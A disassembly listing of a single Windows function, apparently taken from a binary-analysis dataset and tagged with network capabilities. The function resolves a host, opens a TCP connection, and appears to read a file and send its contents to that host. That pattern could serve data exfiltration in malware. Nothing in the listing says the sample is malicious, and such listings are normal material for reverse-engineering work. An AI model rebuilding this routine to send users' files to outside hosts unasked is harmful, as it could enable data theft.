Function at 0x40ae38
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf8
mov eax, 0x441bc8
push ebx
push esi
push edi
call fcn.0040e948
push 0x2300000
push 8
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapAlloc
mov esi, eax
lea edx, [ebp - 0x1f8]
mov ax, 0x101
push edx
push eax
call sub.WSOCK32.DLL_WSAStartup
mov word [ebp - 0x4c], 8
lea ecx, [ebp - 8]
lea eax, [ebp - 0x20]
push ecx
inc dword [ebp - 0x40]
push 0x447fd4
push eax
call fcn.0040268e
add esp, 0xc
lea edx, [ebp - 0x20]
add dword [ebp - 0x40], 4
push edx
lea ecx, [ebp - 0x38]
push ecx
call fcn.004055cc
add esp, 8
lea ebx, [ebp - 0x38]
add dword [ebp - 0x40], 4
mov eax, dword [ebx]
push eax
call sub.WSOCK32.DLL_gethostbyname
mov edi, eax
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40aeea
cmp dword [ebp - 0x60], 0x80
jbe 0x40aede
push ebx
call fcn.0040c294
pop ecx
jmp 0x40aeea
push dword [ebp - 0x60]
push ebx
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40af24
cmp dword [ebp - 0x64], 0x80
jbe 0x40af18
push ebx
call fcn.0040c294
pop ecx
jmp 0x40af24
push dword [ebp - 0x64]
push ebx
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
dec dword [ebp - 0x40]
test edi, edi
jne 0x40af4c
call sub.WSOCK32.DLL_WSAGetLastError
call sub.WSOCK32.DLL_WSACleanup
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40b04e
push 6
push 1
push 2
call sub.WSOCK32.DLL_socket
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40af79
call sub.WSOCK32.DLL_WSAGetLastError
call sub.WSOCK32.DLL_WSACleanup
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40b04e
mov word [ebp - 0x208], 2
mov ecx, dword [edi + 0xc]
mov eax, dword [ecx]
mov edx, dword [eax]
mov dword [ebp - 0x204], edx
mov cx, word [ebp + 0xc]
push ecx
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x206], ax
lea eax, [ebp - 0x208]
push 0x10
push eax
push ebx
call sub.WSOCK32.DLL_connect
inc eax
jne 0x40afcd
call sub.WSOCK32.DLL_WSAGetLastError
call sub.WSOCK32.DLL_WSACleanup
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40b04e
mov eax, dword [ebp + 8]
push 0x44027a
push eax
call fcn.00410998
add esp, 8
mov edi, eax
test edi, edi
jne 0x40aff2
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
jmp 0x40b04e
push 0
push dword [ebp + 8]
call fcn.0040e6cc
pop ecx
push eax
push dword [ebp + 8]
push ebx
call sub.WSOCK32.DLL_send
push edi
push 0x2300000
push 1
push esi
call fcn.00410bd8
add esp, 0x10
mov dword [ebp - 0x68], eax
push 0
push dword [ebp - 0x68]
push esi
push ebx
call sub.WSOCK32.DLL_send
push edi
call fcn.004104f0
pop ecx
push esi
push 0
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapFree
push ebx
call sub.WSOCK32.DLL_closesocket
xor eax, eax
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret